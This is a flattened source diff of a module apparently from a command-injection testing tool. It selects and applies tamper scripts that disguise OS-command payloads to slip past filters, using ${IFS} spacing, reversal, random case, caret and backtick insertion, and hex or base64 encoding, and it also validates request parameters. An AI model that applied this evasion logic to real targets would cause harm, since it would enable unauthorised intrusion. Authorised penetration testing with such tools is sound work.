settings.HTTP_HEADER + if settings.VERBOSITY_LEVEL != 0 and non_exist_param and _: + non_exist_param_items = ", ".join(non_exist_param) + debug_msg = "Provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" + debug_msg += non_exist_param_items + "'" + (' are', ' is')[len(non_exist_param) == 1] + debug_msg += " not inside the " + if settings.COOKIE_INJECTION: + debug_msg += settings.COOKIE else: - warn_msg += " not part of the " - warn_msg += http_request_method - warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - warn_msg += (' data', ' request')[http_request_method == settings.HTTPMETHOD.GET] - warn_msg += "." - print(settings.print_warning_msg(warn_msg)) - - if menu.options.skip_parameter != None: - check_skipped_params(check_parameters) + debug_msg += check_http_method(url) + debug_msg += "." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + """ Lists available tamper scripts """ def list_tamper_scripts(): - info_msg = "Listing available tamper scripts:" - print(settings.print_info_msg(info_msg)) + info_msg = "Listing available tamper scripts." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.list_tampers: - for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): - content = open(script, "rb").read().decode(settings.UNICODE_ENCODING) + for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): + content = open(script, "rb").read().decode(settings.DEFAULT_CODEC) match = re.search(r"About:(.*)\n", content) if match: comment = match.group(1).strip() - sub_content = Fore.MAGENTA + os.path.basename(script) + Style.RESET_ALL + " - " + comment - print(settings.print_sub_content(sub_content)) + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN_TYPE + os.path.basename(script) + Style.RESET_ALL + " - " + comment) """ Tamper script checker """ -def tamper_scripts(): +def tamper_scripts(stored_tamper_scripts): if menu.options.tamper: # Check the provided tamper script(s) available_scripts = [] - provided_scripts = list(set(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()))) - for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): + provided_scripts = list(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower())) + for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): available_scripts.append(os.path.basename(script.split(".py")[0])) for script in provided_scripts: if script in available_scripts: @@ -905,26 +1495,46 @@ def tamper_scripts(): else: err_msg = "The '" + script + "' tamper script does not exist. " err_msg += "Use the '--list-tampers' option for listing available tamper scripts." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - - info_msg = "Loading tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " - print(settings.print_info_msg(info_msg)) + if not stored_tamper_scripts: + info_msg = "Loaded tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) for script in provided_scripts: if "hexencode" or "base64encode" == script: settings.MULTI_ENCODED_PAYLOAD.append(script) import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0] - print(settings.SUB_CONTENT_SIGN + import_script.split(".")[3]) - try: - module = __import__(import_script, fromlist=[None]) - if not hasattr(module, "__tamper__"): - err_msg = "Missing variable '__tamper__' " - err_msg += "in tamper script '" + import_script.split(".")[0] + "'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - except ImportError as err_msg: - print(settings.print_error_msg(str(err_msg) + ".")) - pass + if not stored_tamper_scripts: + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) + warn_msg = "" + if not settings.TIME_RELATED_ATTACK and script in settings.TIME_RELATED_TAMPER_SCRIPTS: + warn_msg = "Only time-related techniques support the usage of '" + script + ".py'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + warn_msg = "" + if settings.EVAL_BASED_STATE != False and script in settings.EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS: + warn_msg = "The dynamic code evaluation technique does " + elif settings.TARGET_OS == settings.OS.WINDOWS and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS: + warn_msg = "Windows targets do " + elif settings.TARGET_OS != settings.OS.WINDOWS and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS: + warn_msg = "Unix-like targets do " + elif "backticks" == script and menu.options.alter_shell: + warn_msg = "Option '--alter-shell' " + if len(warn_msg) != 0: + if not stored_tamper_scripts: + warn_msg = warn_msg + "not support the usage of '" + script + ".py'. Skipping tamper script." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + # if not stored_tamper_scripts: + # settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) + try: + module = __import__(import_script, fromlist=[None]) + if not hasattr(module, "__tamper__"): + err_msg = "Missing variable '__tamper__' " + err_msg += "in tamper script '" + import_script.split(".")[-1] + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + except (ImportError, ValueError) as err_msg: + pass # Using too many tamper scripts is usually not a good idea. :P _ = False @@ -935,8 +1545,8 @@ def tamper_scripts(): _ = True warn_msg = "The combination of the provided tamper scripts " if _: - warn_msg += "is not a good idea (may cause false positive results)." - print(settings.print_warning_msg(warn_msg)) + warn_msg += "is not a good idea (may cause false positive / negative results)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Check if the payload output seems to be hex. @@ -976,8 +1586,8 @@ def whitespace_check(payload): menu.options.tamper = menu.options.tamper + ",space2ifs" else: menu.options.tamper = "space2ifs" - settings.WHITESPACES[0] = "${IFS}" - + settings.WHITESPACES[0] = "${IFS}" + # Enable the "space2plus" tamper script. elif "+" in _ and payload.count("+") >= 2: if not settings.TAMPER_SCRIPTS['space2plus']: @@ -986,14 +1596,14 @@ def whitespace_check(payload): else: menu.options.tamper = "space2plus" settings.WHITESPACES[0] = "+" - + # Enable the "space2htab" tamper script. elif "%09" in _: if not settings.TAMPER_SCRIPTS['space2htab']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",space2htab" else: - menu.options.tamper = "space2htab" + menu.options.tamper = "space2htab" settings.WHITESPACES[0] = "%09" # Enable the "space2vtab" tamper script. @@ -1004,30 +1614,46 @@ def whitespace_check(payload): else: menu.options.tamper = "space2vtab" settings.WHITESPACES[0] = "%0b" - - # Default whitespace + + # Default whitespace else : settings.WHITESPACES[0] = "%20" # Enable the "multiplespaces" tamper script. count_spaces = payload.count(settings.WHITESPACES[0]) - if count_spaces >= 5: + if count_spaces > 15: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",multiplespaces" else: - menu.options.tamper = "multiplespaces" + menu.options.tamper = "multiplespaces" settings.WHITESPACES[0] = settings.WHITESPACES[0] * int(count_spaces / 2) - + """ -Check for added caret between the characters of the generated payloads. +Check for symbols (i.e "`", "^", "$@" etc) between the characters of the generated payloads. """ def other_symbols(payload): + # Implemented check to replace each character in a user-supplied OS command with a random case. + if payload.count("|tr \"[A-Z]\" \"[a-z]\"") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS: + if not settings.TAMPER_SCRIPTS['randomcase']: + if menu.options.tamper: + menu.options.tamper = menu.options.tamper + ",randomcase" + else: + menu.options.tamper = "randomcase" + + # Check for reversed (characterwise) user-supplied operating system commands. + if payload.count("|rev") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS: + if not settings.TAMPER_SCRIPTS['rev']: + if menu.options.tamper: + menu.options.tamper = menu.options.tamper + ",rev" + else: + menu.options.tamper = "rev" + # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. - if payload.count("`") >= 2: + if payload.count("`") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backticks" else: - menu.options.tamper = "backticks" + menu.options.tamper = "backticks" settings.USE_BACKTICKS == True # Check for caret symbol @@ -1036,201 +1662,295 @@ def other_symbols(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",caret" else: - menu.options.tamper = "caret" - from src.core.tamper import caret - payload = caret.tamper(payload) + menu.options.tamper = "caret" # Check for dollar sign followed by an at-sign - if payload.count("$@") >= 10: + if payload.count("$@") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['dollaratsigns']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",dollaratsigns" else: - menu.options.tamper = "dollaratsigns" - from src.core.tamper import dollaratsigns - payload = dollaratsigns.tamper(payload) + menu.options.tamper = "dollaratsigns" # Check for uninitialized variable - if payload.count("${uv}") >= 2: + if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['uninitializedvariable']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",uninitializedvariable" else: - menu.options.tamper = "uninitializedvariable" - from src.core.tamper import uninitializedvariable - payload = uninitializedvariable.tamper(payload) + menu.options.tamper = "uninitializedvariable" # Check for environment variable value variable - if payload.count("${PATH%%u*}") >= 2: + if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['slash2env']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",slash2env" else: - menu.options.tamper = "slash2env" - from src.core.tamper import slash2env - payload = slash2env.tamper(payload) + menu.options.tamper = "slash2env" """ Check for (multiple) added back slashes between the characters of the generated payloads. """ def check_backslashes(payload): # Check for single quotes - if payload.count("\\") >= 15: + if payload.count("\\") >= 15 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['backslashes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backslashes" else: - menu.options.tamper = "backslashes" - from src.core.tamper import backslashes - payload = backslashes.tamper(payload) + menu.options.tamper = "backslashes" """ Check for quotes in the generated payloads. """ def check_quotes(payload): # Check for double quotes around of the generated payloads. - if payload.endswith("\""): + if payload.endswith("\"") and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['nested']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",nested" else: - menu.options.tamper = "nested" - from src.core.tamper import nested - payload = nested.tamper(payload) + menu.options.tamper = "nested" # Check for (multiple) added double-quotes between the characters of the generated payloads. - if payload.count("\"") >= 10: + if payload.count("\"") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['doublequotes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",doublequotes" else: - menu.options.tamper = "doublequotes" - from src.core.tamper import doublequotes - payload = doublequotes.tamper(payload) + menu.options.tamper = "doublequotes" # Check for (multiple) added single-quotes between the characters of the generated payloads. - if payload.count("''") >= 10: + if payload.count("''") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['singlequotes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",singlequotes" else: - menu.options.tamper = "singlequotes" - from src.core.tamper import singlequotes - payload = singlequotes.tamper(payload) + menu.options.tamper = "singlequotes" + +""" +Check for applied (hex / b64) encoders. +""" +def check_encoders(payload): + is_decoded = False + encoded_with = "" + check_value = payload + + settings.MULTI_ENCODED_PAYLOAD = list(dict.fromkeys(settings.MULTI_ENCODED_PAYLOAD)) + for encode_type in settings.MULTI_ENCODED_PAYLOAD: + if encode_type == 'base64encode' or encode_type == 'hexencode': + while True: + message = "Do you want to keep using the '" + encode_type + "' tamper script? [y/N] > " + procced_option = common.read_input(message, default="N", check_batch=True) + if procced_option in settings.CHOICE_YES: + break + elif procced_option in settings.CHOICE_NO: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Unloading the '" + encode_type + "' tamper script." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.MULTI_ENCODED_PAYLOAD.remove(encode_type) + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + + if (len(check_value.strip()) % 4 == 0) and \ + re.match(settings.BASE64_RECOGNITION_REGEX, check_value) and \ + not re.match(settings.HEX_RECOGNITION_REGEX, check_value): + _payload = base64.b64decode(check_value) + try: + if not "\\x" in _payload.decode(settings.DEFAULT_CODEC): + settings.MULTI_ENCODED_PAYLOAD.append("base64encode") + decoded_payload = _payload + encoded_with = "base64" + if re.match(settings.HEX_RECOGNITION_REGEX, check_value): + decoded_payload, _ = hexdecode(decoded_payload) + if _: + settings.MULTI_ENCODED_PAYLOAD.append("hexencode") + encoded_with = "hex" + except Exception: + pass + + elif re.match(settings.HEX_RECOGNITION_REGEX, check_value): + decoded_payload, _ = hexdecode(check_value) + if _: + settings.MULTI_ENCODED_PAYLOAD.append("hexencode") + encoded_with = "hex" + if (len(check_value.strip()) % 4 == 0) and \ + re.match(settings.BASE64_RECOGNITION_REGEX, decoded_payload) and \ + not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload): + _payload = base64.b64decode(check_value) + try: + if not "\\x" in _payload.decode(settings.DEFAULT_CODEC): + settings.MULTI_ENCODED_PAYLOAD.append("base64encode") + decoded_payload = _payload + encoded_with = "base64" + except Exception: + pass + else: + decoded_payload = payload + + if len(encoded_with) != 0: + is_decoded = True + + if is_decoded: + while True: + message = "The provided value appears to be " + encoded_with + "-encoded. " + message += "Do you want to use '" + encoded_with + "encode' tamper script? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + break + elif procced_option in settings.CHOICE_NO: + settings.MULTI_ENCODED_PAYLOAD.remove(encoded_with + "encode") + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping load the '" + encoded_with + "encode' tamper script." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + + if is_decoded: + return _urllib.parse.quote(decoded_payload), encoded_with + else: + return payload, encoded_with """ Recognise the payload. """ def recognise_payload(payload): - if "usleep" in payload: + if "usleep" in payload and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['sleep2usleep']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",sleep2usleep" else: - menu.options.tamper = "sleep2usleep" - from src.core.tamper import sleep2usleep - payload = sleep2usleep.tamper(payload) - + menu.options.tamper = "sleep2usleep" + elif "timeout" in payload: if not settings.TAMPER_SCRIPTS['sleep2timeout']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",sleep2timeout" else: - menu.options.tamper = "sleep2timeout" - from src.core.tamper import sleep2timeout - payload = sleep2timeout.tamper(payload) - - is_decoded = False - if (len(payload) % 4 == 0) and \ - re.match(settings.BASE64_RECOGNITION_REGEX, payload) and \ - not re.match(settings.HEX_RECOGNITION_REGEX, payload): - is_decoded = True - settings.MULTI_ENCODED_PAYLOAD.append("base64encode") - decoded_payload = base64.b64decode(payload) - if re.match(settings.HEX_RECOGNITION_REGEX, payload): - settings.MULTI_ENCODED_PAYLOAD.append("hexencode") - decoded_payload = hexdecode(decoded_payload) - - elif re.match(settings.HEX_RECOGNITION_REGEX, payload): - is_decoded = True - settings.MULTI_ENCODED_PAYLOAD.append("hexencode") - decoded_payload = hexdecode(payload) - if (len(payload) % 4 == 0) and \ - re.match(settings.BASE64_RECOGNITION_REGEX, decoded_payload) and \ - not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload): - settings.MULTI_ENCODED_PAYLOAD.append("base64encode") - decoded_payload = base64.b64decode(decoded_payload) - - for encode_type in settings.MULTI_ENCODED_PAYLOAD: - # Encode payload to base64 format. - if encode_type == 'base64encode': - base64_output(payload) - # Encode payload to hex format. - if encode_type == 'hexencode': - hex_output(payload) - - if is_decoded: - return _urllib.parse.quote(decoded_payload) - else: - return payload + menu.options.tamper = "sleep2timeout" + return check_encoders(payload) + """ Check for stored payloads and enable tamper scripts. """ def check_for_stored_tamper(payload): - decoded_payload = recognise_payload(payload) + decoded_payload, encoded_with = recognise_payload(payload) whitespace_check(decoded_payload) other_symbols(decoded_payload) check_quotes(decoded_payload) - tamper_scripts() + tamper_scripts(stored_tamper_scripts=True) """ Perform payload modification """ def perform_payload_modification(payload): - for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): - # sleep to usleep - if encode_type == 'sleep2timeout': + try: + settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE) + except IndexError: + settings.RAW_PAYLOAD = payload + + for extra_http_headers in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): + if extra_http_headers == "xforwardedfor": + from src.core.tamper import xforwardedfor + + for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): + # Reverses (characterwise) the user-supplied operating system commands + if mod_type == 'backticks': + from src.core.tamper import backticks + payload = backticks.tamper(payload) + + for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): + # Reverses (characterwise) the user-supplied operating system commands + if mod_type == 'rev': + from src.core.tamper import rev + payload = rev.tamper(payload) + + for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): + # Replaces each user-supplied operating system command character with random case + if mod_type == 'randomcase': + from src.core.tamper import randomcase + payload = randomcase.tamper(payload) + + for print_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): + # printf to echo (for ascii to dec) + if print_type == 'printf2echo': + from src.core.tamper import printf2echo + payload = printf2echo.tamper(payload) + + for sleep_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): + # sleep to timeout + if sleep_type == 'sleep2timeout': from src.core.tamper import sleep2timeout payload = sleep2timeout.tamper(payload) # sleep to usleep - if encode_type == 'sleep2usleep': + if sleep_type == 'sleep2usleep': from src.core.tamper import sleep2usleep payload = sleep2usleep.tamper(payload) - # Add uninitialized variable. - if encode_type == 'uninitializedvariable': - from src.core.tamper import uninitializedvariable - payload = uninitializedvariable.tamper(payload) - if encode_type == 'slash2env': - from src.core.tamper import slash2env - payload = slash2env.tamper(payload) + + for quotes_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Add double-quotes. - if encode_type == 'doublequotes': + if quotes_type == 'doublequotes': from src.core.tamper import doublequotes payload = doublequotes.tamper(payload) # Add single-quotes. - if encode_type == 'singlequotes': + if quotes_type == 'singlequotes': from src.core.tamper import singlequotes payload = singlequotes.tamper(payload) - # Add caret symbol. - elif encode_type == 'backslashes': + + for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): + # Add uninitialized variable. + if mod_type == 'uninitializedvariable': + from src.core.tamper import uninitializedvariable + payload = uninitializedvariable.tamper(payload) + if mod_type == 'slash2env': + from src.core.tamper import slash2env + payload = slash2env.tamper(payload) + # Add backslashes. + if mod_type == 'backslashes': from src.core.tamper import backslashes - payload = backslashes.tamper(payload) - # Add caret symbol. - elif encode_type == 'caret': + payload = backslashes.tamper(payload) + # Add caret symbol. + if mod_type == 'caret': from src.core.tamper import caret - payload = caret.tamper(payload) + payload = caret.tamper(payload) # Transfomation to nested command - elif encode_type == 'nested': + if mod_type == 'nested': from src.core.tamper import nested - payload = nested.tamper(payload) + payload = nested.tamper(payload) # Add dollar sign followed by an at-sign. - elif encode_type == 'dollaratsigns': + if mod_type == 'dollaratsigns': from src.core.tamper import dollaratsigns - payload = dollaratsigns.tamper(payload) - - for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): - # Encode payload to hex format. + payload = dollaratsigns.tamper(payload) + + for space_mod in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): + # Encode spaces. + if space_mod == 'space2ifs': + from src.core.tamper import space2ifs + payload = space2ifs.tamper(payload) + if space_mod == 'space2plus': + from src.core.tamper import space2plus + payload = space2plus.tamper(payload) + if space_mod == 'space2htab': + from src.core.tamper import space2htab + payload = space2htab.tamper(payload) + if space_mod == 'space2vtab': + from src.core.tamper import space2vtab + payload = space2vtab.tamper(payload) + if space_mod == 'multiplespaces': + from src.core.tamper import multiplespaces + payload = multiplespaces.tamper(payload) + + for encode_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): + # Encode payload to hex format. if encode_type == 'base64encode': from src.core.tamper import base64encode payload = base64encode.tamper(payload) @@ -1251,8 +1971,8 @@ def skip_empty(empty_parameters, http_request_method): warn_msg += " '" + empty_parameters + "'" warn_msg += (' have ', ' has ')[len(empty_parameters.split(",")) == 1] warn_msg += "been skipped from testing" - warn_msg += " due to empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "." - print(settings.print_warning_msg(warn_msg)) + warn_msg += " because user specified testing of only parameter(s) with non-empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -1264,70 +1984,74 @@ def json_data(data): data = json.dumps(data) return data +""" +"No parameter(s) found for testing. +""" +def no_parameters_found(): + err_msg = "No parameter(s) found for testing in the provided data " + err_msg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1'). " + if not menu.options.crawldepth: + err_msg += "You are advised to rerun with '--crawl=2'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ Check if the provided value is empty. """ def is_empty(multi_parameters, http_request_method): all_empty = False - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking for empty values in provided data." - print(settings.print_debug_msg(debug_msg)) empty_parameters = [] multi_params = [s for s in multi_parameters] if settings.IS_JSON: try: multi_params = ','.join(multi_params) - json_data = json.loads(multi_params, object_pairs_hook=OrderedDict) - multi_params = flatten(json_data) + if is_JSON_check(multi_params): + json_data = json.loads(multi_params, object_pairs_hook=OrderedDict) + multi_params = flatten(json_data) except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() for empty in multi_params: try: if settings.IS_JSON: try: - param = re.sub("[^/()A-Za-z0-9.:,_]+", '', multi_params[empty]) - if "(" and ")" in param: - param = re.findall(r'\((.*)\)', param) - for value in param[0].split(","): - if value.split(":")[1] == "": - empty_parameters.append(value.split(":")[0]) - elif len(str(multi_params[empty])) == 0 : + if len(str(multi_params[empty])) == 0 : empty_parameters.append(empty) except TypeError: - warn_msg = "The provided value for parameter '" + str(empty) + "' seems unusable." - print(settings.print_warning_msg(warn_msg)) pass elif settings.IS_XML: if re.findall(r'>(.*)<', empty)[0] == "" or \ - re.findall(r'>(.*)<', empty)[0] == " ": - empty_parameters.append(re.findall(r'', empty)[0]) + re.findall(r'>(.*)<', empty)[0] == settings.SINGLE_WHITESPACE: + empty_parameters.append(re.findall(r'', empty)[0]) elif len(empty.split("=")[1]) == 0: empty_parameters.append(empty.split("=")[0]) except IndexError: - if not settings.IS_XML: - err_msg = "No parameter(s) found for testing in the provided data." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + pass + if len(empty_parameters) == len(multi_parameters): all_empty = True - + + if menu.options.skip_empty: + settings.SKIP_PARAMETER = empty_parameters + empty_parameters = ", ".join(empty_parameters) if len(empty_parameters) > 0: - if menu.options.skip_empty and all_empty: + if menu.options.skip_empty: skip_empty(empty_parameters, http_request_method) - return True + if all_empty: + return all_empty + else: + return False else: warn_msg = "The provided value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] - warn_msg += " for " + http_request_method - warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + warn_msg += " for " + http_request_method + warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] warn_msg += " parameter" + "s"[len(empty_parameters.split(",")) == 1:][::-1] warn_msg += " '" + empty_parameters + "'" warn_msg += (' are ', ' is ')[len(empty_parameters.split(",")) == 1] + "empty. " warn_msg += "You are advised to use only valid values, so " + settings.APPLICATION warn_msg += " could be able to run properly." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return False # Check if valid SOAP/XML @@ -1338,32 +2062,6 @@ def is_XML_check(parameter): except ValueError as err_msg: return False -# Process with SOAP/XML data -def process_xml_data(): - while True: - info_msg = "SOAP/XML data found in POST data." - if not menu.options.batch: - question_msg = info_msg - question_msg += " Do you want to process it? [Y/n] > " - xml_process = _input(settings.print_question_msg(question_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.print_bold_info_msg(info_msg)) - xml_process = "" - if len(xml_process) == 0: - xml_process = "Y" - if xml_process in settings.CHOICE_YES: - settings.IS_XML = True - break - elif xml_process in settings.CHOICE_NO: - break - elif xml_process in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + xml_process + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - #Check if INJECT_TAG is enclosed in quotes (in json data) def check_quotes_json_data(data): if not json.dumps(settings.INJECT_TAG) in data: @@ -1373,80 +2071,80 @@ def check_quotes_json_data(data): # Check if valid JSON def is_JSON_check(parameter): try: - json_object = json.loads(parameter) - if re.search(settings.JSON_RECOGNITION_REGEX, parameter) or \ - re.search(settings.JSON_LIKE_RECOGNITION_REGEX, parameter): - return True - except ValueError as err_msg: - if not "No JSON object could be decoded" in str(err_msg) and \ - not "Expecting value" in str(err_msg) and \ - not "Expecting , delimiter" in str(err_msg): - err_msg = "JSON " + str(err_msg) + ". " - print(settings.print_critical_msg(err_msg) + "\n") + # Attempt to load the JSON string + json_object = json.loads(parameter.replace(settings.INJECT_TAG,"")) + settings.IS_VALID_JSON = True + return settings.IS_VALID_JSON + except json.JSONDecodeError as err_msg: + # Handle JSONDecodeError and identify common issues + if settings.IS_JSON and not settings.IS_VALID_JSON: + error_str = str(err_msg) + if "No JSON object could be decoded" in error_str: + err_msg = "JSON is invalid. No valid JSON object found." + elif "Expecting" in error_str and any(_ in error_str for _ in ("value", "delimiter")): + err_msg = "JSON parsing error: " + error_str + ". Check for missing commas, colons, or improperly escaped characters." + elif "Expecting" in error_str and "end of data" in error_str: + err_msg = "JSON parsing error: " + error_str + ". Check for extra commas or missing closing brackets." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - return False + # Process with JSON data -def process_json_data(): +def process_data(data_type, http_request_method): while True: - info_msg = "JSON data found in POST data." - if not menu.options.batch: - question_msg = info_msg - question_msg += " Do you want to process it? [Y/n] > " - json_process = _input(settings.print_question_msg(question_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.print_bold_info_msg(info_msg)) - json_process = "" - if len(json_process) == 0: - json_process = "Y" - if json_process in settings.CHOICE_YES: - settings.IS_JSON = True - break - elif json_process in settings.CHOICE_NO: - break - elif json_process in settings.CHOICE_QUIT: + info_msg = str(data_type) + " data found in " + str(http_request_method) + " body." + message = info_msg + message += " Do you want to process it? [Y/n] > " + process = common.read_input(message, default="Y", check_batch=True) + if process in settings.CHOICE_YES: + return True + elif process in settings.CHOICE_NO: + settings.IGNORE_USER_DEFINED_POST_DATA = True + return False + elif process in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + json_process + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(process) pass -""" -Check if provided parameters are in inappropriate format. -""" -def inappropriate_format(multi_parameters): - err_msg = "The provided parameter" + "s"[len(multi_parameters) == 1:][::-1] - err_msg += (' are ', ' is ')[len(multi_parameters) == 1] - err_msg += "not in appropriate format." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - """ Check for similarity in provided parameter name and value. """ def check_similarities(all_params): if settings.IS_JSON: - all_params = ','.join(all_params) - json_data = json.loads(all_params, object_pairs_hook=OrderedDict) - all_params = flatten(json_data) - for param in all_params: - if param == all_params[param]: - parameter_name = param - all_params[param] = param + settings.RANDOM_TAG - all_params = [x.replace(" ", "") for x in json.dumps(all_params).split(", ")] + try: + _ = "".join(random.sample(string.ascii_uppercase, k=6)) + all_params = ','.join(all_params) + json_data = json.loads(all_params, object_pairs_hook=OrderedDict) + all_params = flatten(json_data) + for param in all_params: + if isinstance(all_params[param], str): + if all_params[param] in param: + all_params[param] = all_params[param] + settings.RANDOM_TAG + if settings.SINGLE_WHITESPACE in all_params[param]: + all_params[param] = all_params[param].replace(settings.SINGLE_WHITESPACE, _) + all_params = [x.replace(settings.SINGLE_WHITESPACE, "").replace(_ ,settings.SINGLE_WHITESPACE) for x in json.dumps(all_params).split(", ")] + except Exception as e: + pass else: for param in range(0, len(all_params)): if settings.IS_XML: - if re.findall(r'', all_params[param]) == re.findall(r'>(.*)(.*)" + parameter_name + settings.RANDOM_TAG + "" + if re.findall(r'>(.*)(.*)', all_params[param])[0]: + parameter_name = ''.join(re.findall(r'', all_params[param])) + parameter_value = ''.join(re.findall(r'>(.*)" + parameter_value + settings.RANDOM_TAG + "" else: if re.findall(r'(.*)=', all_params[param]) == re.findall(r'=(.*)', all_params[param]): - parameter_name = re.findall(r'=(.*)', all_params[param]) - parameter_name = ''.join(parameter_name) - all_params[param] = parameter_name + "=" + parameter_name + settings.RANDOM_TAG + parameter_name = ''.join(re.findall(r'=(.*)', all_params[param])) + if parameter_name: + all_params[param] = parameter_name + "=" + parameter_name + settings.RANDOM_TAG + elif re.findall(r'=(.*)', all_params[param])[0] in re.findall(r'(.*)=', all_params[param])[0]: + parameter_name = ''.join(re.findall(r'(.*)=', all_params[param])) + parameter_value = ''.join(re.findall(r'=(.*)', all_params[param])) + all_params[param] = parameter_name + "=" + parameter_value + settings.RANDOM_TAG + + all_params = [x for x in all_params if x is not None] return all_params """ @@ -1456,49 +2154,614 @@ def generate_char_pool(num_of_chars): if menu.options.charset: char_pool = [ord(c) for c in menu.options.charset] else: + # Source for letter frequency: 